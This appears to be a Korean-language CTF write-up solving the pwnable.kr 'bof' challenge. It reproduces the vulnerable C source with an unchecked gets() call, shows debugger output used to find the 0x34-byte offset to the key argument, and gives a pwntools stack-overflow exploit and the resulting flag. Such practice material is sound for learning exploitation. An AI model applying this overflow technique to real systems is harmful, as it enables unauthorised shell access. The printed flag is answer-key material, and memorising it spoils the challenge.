이번 문제는 ssh가 아닌 nc로 연결해 푸는 문제다.
실행파일과 소스코드는 wget으로 다운받으면 된다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
소스코드를 보면 기본적인 bof다.
gets로 입력을 받아 BOF가 터진다.
func함수의 인자인 key값을 바꿔서 0xcafebabe로 만들면 쉘이 따진다.
pwndbg> x/40wx 0xffffd00c
0xffffd00c: 0x41414141 0x42424242 0x43434343 0x00000000
0xffffd01c: 0x5655549d 0xf7fb63fc 0x00000000 0x56556ff4
0xffffd02c: 0xed735e00 0x00000000 0xf7e0e6bb 0xffffd058
0xffffd03c: 0x5655569f 0xdeadbeef 0x00000000 0x565556b9
0xffffd04c: 0x00000000 0xf7fb6000 0xf7fb6000 0x00000000
0xffffd05c: 0xf7df6f21 0x00000001 0xffffd0f4 0xffffd0fc
0xffffd06c: 0xffffd084 0x00000001 0x00000000 0xf7fb6000
0xffffd07c: 0xf7fe571a 0xf7ffd000 0x00000000 0xf7fb6000
0xffffd08c: 0x00000000 0x00000000 0xa5c354ff 0xe4be52ef
0xffffd09c: 0x00000000 0x00000000 0x00000000 0x00000001
디버거로 func함수 실행후 gets후에 브포를 걸고 스택 상황을 보면 버퍼 시작주소는 0xffffd00c이고
key가 위치한곳은 0xffffd040이다.
pwndbg> x/x 0xffffd040
0xffffd040: 0xdeadbeef
pwndbg> p/x 0xffffd040 - 0xffffd00c
$2 = 0x34
pwndbg>
0x34만큼 차이가 난다.
from pwn import *
p = remote('pwnable.kr', 9000)
payload = b"A" * 0x34 + p32(0xcafebabe)
p.send(payload)
p.interactive()
pwntools로 쓱삭해주면 된다.
kimg00n@kimg00n:~/pwnable.kr/bof$ python3 ex.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
$ cat flag
daddy, I just pwned a buFFer :)
$
0xcafebabe인데 0xcafebebe로 쓰고 삽질 한 5분 했다 ㅋㅋㅋㅋ
flag = daddy, I just pwned a buFFer :)